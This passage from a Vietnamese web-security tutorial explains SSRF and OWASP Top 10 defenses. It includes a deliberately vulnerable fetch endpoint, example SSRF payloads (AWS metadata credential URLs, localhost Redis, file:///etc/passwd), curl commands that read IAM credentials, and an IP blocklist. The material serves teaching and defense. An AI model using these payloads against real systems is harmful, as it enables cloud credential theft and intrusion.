  • Cloud metadata API (AWS 169.254.169.254, Azure 169.254.169.254) có thể truy cập từ bên trong cloud nhưng không từ internet
  • Các dịch vụ nội bộ (database, admin panel, Redis) thường không có xác thực vì chúng "không bị lộ trên internet"
  • Các yêu cầu từ server đến từ vị trí mạng tin cậy

Cuộc Tấn Công Hoạt Động Như Thế Nào

// ❌ DỄ BỊ TẤN CÔNG: Server tải URL do người dùng cung cấp mà không validate
app.post('/api/preview', async (req, res) => {
  const { url } = req.body;
  const response = await fetch(url); // Kẻ tấn công kiểm soát điều này!
  const content = await response.text();
  res.send(content);
});
 
// Kẻ tấn công cung cấp:
// url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
// Server tải metadata AWS → trả về AWS access key!
 
// Hoặc:
// url: "http://localhost:6379"  → Nói chuyện với Redis (không có auth)
// url: "http://internal-admin.company.com/admin"  → Bỏ qua firewall mạng
// url: "file:///etc/passwd"  → Đọc filesystem cục bộ

Cuộc tấn công AWS metadata endpoint:

# Từ bên trong EC2 instance (hoặc ứng dụng có lỗ hổng SSRF):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Trả về: role-name
 
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Trả về: AccessKeyId, SecretAccessKey, Token
# Kẻ tấn công có AWS credentials!

Biện Pháp Phòng Thủ

// ✅ AN TOÀN: Validate và hạn chế URL trước khi tải
import dns from 'dns/promises';
import { URL } from 'url';
 
const BLOCKED_IP_RANGES = [
  '10.0.0.0/8',       // Mạng riêng tư
  '172.16.0.0/12',    // Mạng riêng tư
  '192.168.0.0/16',   // Mạng riêng tư
  '127.0.0.0/8',      // Loopback
  '169.254.0.0/16',   // Link-local (AWS metadata!)
  '::1',              // IPv6 loopback
];
 
function isPrivateIP(ip: string): boolean {
  // Dùng thư viện như 'ipaddr.js' trong production
  return BLOCKED_IP_RANGES.some(range => {
    // Đơn giản hóa — dùng ipaddr.js hoặc tương tự trong production
    return ip.startsWith('127.') || ip.startsWith('10.') ||
           ip.startsWith('192.168.') || ip.startsWith('169.254.');
  });
}
 
async function safeSSRFFetch(url: string): Promise<Response> {
  // 1. Parse và validate URL
  let parsed: URL;
  try {
    parsed = new URL(url);
  } catch {
    throw new Error('URL không hợp lệ');
  }
 
  // 2. Chỉ cho phép HTTP/HTTPS (block file://, ftp://, v.v.)
  if (!['http:', 'https:'].includes(parsed.protocol)) {
    throw new Error('Chỉ cho phép URL HTTP/HTTPS');
  }
 
  // 3. Block private IP — resolve hostname thành IP trước
  const { address } = await dns.lookup(parsed.hostname);
  if (isPrivateIP(address)) {
    throw new Error('Không được phép truy cập tài nguyên nội bộ');
  }
 
  // 4. Tải với timeout để ngăn slow loris
  const controller = new AbortController();
  const timeoutId = setTimeout(() => controller.abort(), 5000);
 
  try {
    return await fetch(url, {
      signal: controller.signal,
      redirect: 'error', // Không follow redirect (có thể redirect đến IP nội bộ)
    });
  } finally {
    clearTimeout(timeoutId);
  }
}
 
// ✅ THAY THẾ: Dùng allowlist thay vì blocklist
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
 
function isAllowedURL(url: string): boolean {
  try {
    const parsed = new URL(url);
    return ALLOWED_DOMAINS.includes(parsed.hostname);
  } catch {
    return false;
  }
}

Bảo vệ tầng infrastructure (mạnh hơn code):

  • Dùng IMDSv2 trên AWS EC2 (yêu cầu session token — giảm thiểu truy cập SSRF vào metadata)
  • Block các yêu cầu outbound ở tầng mạng/firewall cho các dịch vụ không nên thực hiện chúng
  • Chạy service với quyền IAM tối thiểu (Principle of Least Privilege từ SEC-1)

OWASP Top 10 Trong Một Bảng

#Lỗ HổngPhòng Thủ ChínhBài Deep Dive
A01Broken Access ControlKiểm tra quyền sở hữu, từ chối theo mặc định, RBACSEC-4
A02Cryptographic Failuresbcrypt/Argon2, TLS, AES-256SEC-8, SEC-9
A03InjectionParameterized queries, input validationSEC-5
A04Insecure DesignThreat modeling, security design reviewSEC-2
A05Security MisconfigurationHardening checklist, security headersSEC-11
A06Vulnerable Componentsnpm audit, Dependabot, SCA toolSEC-12
A07Auth FailuresMật khẩu mạnh, MFA, lockout, bcryptSEC-4, SEC-8
A08Integrity FailuresSRI, signed package, schema validationSEC-12
A09Logging FailuresStructured security logging, SIEMTất cả bài
A10SSRFURL allowlist, DNS rebinding preventionSEC-10

Xây Dựng OWASP Checklist cho Code Review

Đây là checklist thực tế để dùng khi review code của bạn hoặc pull request:

A01 – Access Control

  • Mỗi endpoint kiểm tra xác thực
  • Mỗi truy cập resource bao gồm xác minh quyền sở hữu
  • Các thao tác nhạy cảm yêu cầu role phù hợp
  • Không dùng ID tuần tự cho resource nhạy cảm (dùng UUID)

A02 – Mật Mã

  • Mật khẩu được hash bằng bcrypt/Argon2 (không bao giờ MD5/SHA1)
  • Dữ liệu nhạy cảm được mã hóa khi lưu trữ
  • TLS được thực thi với HSTS
  • Token ngẫu nhiên về mật mã (không thể đoán được)

A03 – Injection

  • Tất cả database query dùng parameterized statement hoặc ORM
  • Không có eval() hoặc thực thi code động trên input người dùng
  • Lệnh shell dùng mảng argument, không nối chuỗi
  • Input người dùng được validate type trước khi sử dụng

A05 – Cấu Hình

  • Không có stack trace trong response lỗi production
  • Security header có mặt (dùng helmet)
  • Debug endpoint bị vô hiệu hóa trong production
  • Không có credentials trong source code

A07 – Xác Thực

  • Độ mạnh mật khẩu được thực thi
  • Lần thử đăng nhập thất bại bị rate-limited
  • Session được tạo lại sau đăng nhập
  • Session bị vô hiệu hóa khi đăng xuất

A09 – Logging

  • Sự kiện xác thực được ghi log (thành công + thất bại)
  • Sự kiện bị từ chối truy cập được ghi log
  • Log entry bao gồm timestamp, IP, user ID

Tóm Tắt và Những Điểm Quan Trọng

OWASP Top 10 đại diện cho các rủi ro bảo mật web quan trọng và phổ biến nhất, được hỗ trợ bởi dữ liệu vi phạm thực tế. Đây là điều cần nhớ:

Kết Quả Học Tập:
✅ A01 (Access Control) phổ biến nhất — luôn xác minh quyền sở hữu resource phía server
✅ A03 (Injection) luôn được ngăn chặn bằng parameterized query — không bao giờ nối input người dùng vào query
✅ A02 (Mật Mã) nghĩa là dùng thuật toán mạnh — bcrypt cho mật khẩu, AES-256 cho dữ liệu, TLS cho truyền tải
✅ A04 (Insecure Design) không thể vá sau thực tế — bảo mật phải được thiết kế từ đầu
✅ A07 (Auth Failures) yêu cầu rate limiting, session management và chính sách mật khẩu mạnh hoạt động cùng nhau
✅ A10 (SSRF) đặc biệt nguy hiểm trong môi trường cloud — không bao giờ tải URL do kẻ tấn công kiểm soát
✅ A09 (Logging) là mạng an toàn của bạn — nếu không có nó, bạn sẽ không biết mình đã bị vi phạm

Mô hình tư duy đúng đắn:

Bảo mật không phải là checklist bạn chạy một lần — đó là tư duy được áp dụng ở mọi tầng, từ quyết định kiến trúc đến code review cho đến giám sát production.

Bước Tiếp Theo

Phase này cung cấp cho bạn sự hiểu biết hoạt động về tất cả 10 danh mục OWASP. Các bài deep-dive đi sâu hơn nhiều:

  • SEC-4: Authentication & Authorization Security (JWT, OAuth2, Session Security)
  • SEC-5: SQL Injection & NoSQL Injection — Attack and Defense
  • SEC-6: Cross-Site Scripting (XSS) — Stored, Reflected, DOM-Based
  • SEC-7: CSRF, CORS & Same-Origin Policy
  • SEC-8: Secure Password Storage (bcrypt, Argon2, salting)
  • SEC-9: HTTPS, TLS & Certificate Management
  • SEC-10: API Security (Rate Limiting, Input Validation, OAuth Scopes)
  • SEC-11: Security Headers & Content Security Policy
  • SEC-12: Dependency Security & Supply Chain Attacks

Bây giờ bạn biết đủ để xác định lỗ hổng OWASP trong code review và thảo luận thiết kế. Các bài deep-dive sẽ giúp bạn trở nên thành thạo trong từng lĩnh vực cụ thể.


Đây là bài #3 trong series Web Security Learning Roadmap.

📬 Đăng ký nhận bản tin

Nhận những bài viết mới nhất qua email mỗi tuần. Không spam, hủy đăng ký bất cứ lúc nào.

Chúng tôi tôn trọng quyền riêng tư của bạn. Hủy đăng ký bất cứ lúc nào.

💬 Comments

Đăng nhập để bình luận

Chúng tôi sẽ không đăng bất cứ điều gì mà không có sự cho phép của bạn.